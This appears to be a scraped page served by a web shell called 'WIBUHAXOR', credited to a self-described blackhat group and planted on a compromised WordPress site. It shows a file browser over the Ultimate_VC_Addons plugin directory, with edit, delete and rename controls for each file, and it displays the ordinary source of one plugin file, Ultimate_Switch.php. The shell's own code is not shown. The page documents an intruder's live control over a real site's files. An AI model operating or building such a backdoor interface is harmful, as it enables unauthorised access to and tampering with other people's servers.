-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
plugins
/
Ultimate_VC_Addons
/
params
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
Ultimate_Animator.php
2.671KB
Edit File
Delete File
Rename
Ultimate_Border.php
13.222KB
Edit File
Delete File
Rename
Ultimate_BoxShadow.php
8.974KB
Edit File
Delete File
Rename
Ultimate_Button.php
3.065KB
Edit File
Delete File
Rename
Ultimate_ColorPicker.php
2.84KB
Edit File
Delete File
Rename
Ultimate_DateTime_Picker.php
1.553KB
Edit File
Delete File
Rename
Ultimate_Font_Manager_Param.php
2.374KB
Edit File
Delete File
Rename
Ultimate_Gradient.php
8.392KB
Edit File
Delete File
Rename
Ultimate_Icon_Manager_Param.php
3.334KB
Edit File
Delete File
Rename
Ultimate_Image_Single.php
9.44KB
Edit File
Delete File
Rename
Ultimate_Margin.php
1.525KB
Edit File
Delete File
Rename
Ultimate_Navigation.php
3.811KB
Edit File
Delete File
Rename
Ultimate_Number.php
1.389KB
Edit File
Delete File
Rename
Ultimate_Radio_Image.php
4.098KB
Edit File
Delete File
Rename
Ultimate_Responsive.php
7.05KB
Edit File
Delete File
Rename
Ultimate_Select.php
1.947KB
Edit File
Delete File
Rename
Ultimate_Switch.php
2.811KB
Edit File
Delete File
Rename
<?php if(!class_exists('Ultimate_Switch_Param')) { class Ultimate_Switch_Param { function __construct() { if(defined('WPB_VC_VERSION') && version_compare(WPB_VC_VERSION, 4.8) >= 0) { if(function_exists('vc_add_shortcode_param')) { vc_add_shortcode_param('ult_switch' , array($this, 'checkbox_param')); } } else { if(function_exists('add_shortcode_param')) { add_shortcode_param('ult_switch' , array($this, 'checkbox_param')); } } } function checkbox_param($settings, $value){ $dependency = ''; $param_name = isset($settings['param_name']) ? $settings['param_name'] : ''; $type = isset($settings['type']) ? $settings['type'] : ''; $options = isset($settings['options']) ? $settings['options'] : ''; $class = isset($settings['class']) ? $settings['class'] : ''; $default_set = isset($settings['default_set']) ? $settings['default_set'] : false; $output = $checked = ''; $un = uniqid('ultswitch-'.rand()); if(is_array($options) && !empty($options)){ foreach($options as $key => $opts){ if($value == $key){ $checked = "checked"; } else { $checked = ""; } $uid = uniqid('ultswitchparam-'.rand()); $output .= '<div class="onoffswitch"> <input type="checkbox" name="'.$param_name.'" value="'.$value.'" '.$dependency.' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . ' '.$dependency.' onoffswitch-checkbox chk-switch-'.$un.'" id="switch'.$uid.'" '.$checked.'> <label class="onoffswitch-label" for="switch'.$uid.'"> <div class="onoffswitch-inner"> <div class="onoffswitch-active"> <div class="onoffswitch-switch">'.$opts['on'].'</div> </div> <div class="onoffswitch-inactive"> <div class="onoffswitch-switch">'.$opts['off'].'</div> </div> </div> </label> </div>'; if(isset($opts['label'])) $lbl = $opts['label']; else $lbl = ''; $output .= '<div class="chk-label">'.$lbl.'</div><br/>'; } } if($default_set) $set_value = 'off'; else $set_value = ''; //$output .= '<input type="hidden" id="chk-switch-'.$un.'" class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '" value="'.$value.'" />'; $output .= '<script type="text/javascript"> jQuery("#switch'.$uid.'").change(function(){ if(jQuery("#switch'.$uid.'").is(":checked")){ jQuery("#switch'.$uid.'").val("'.$key.'"); jQuery("#switch'.$uid.'").attr("checked","checked"); } else { jQuery("#switch'.$uid.'").val("'.$set_value.'"); jQuery("#switch'.$uid.'").removeAttr("checked"); } }); </script>'; return $output; } } } if(class_exists('Ultimate_Switch_Param')) { $Ultimate_Switch_Param = new Ultimate_Switch_Param(); }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat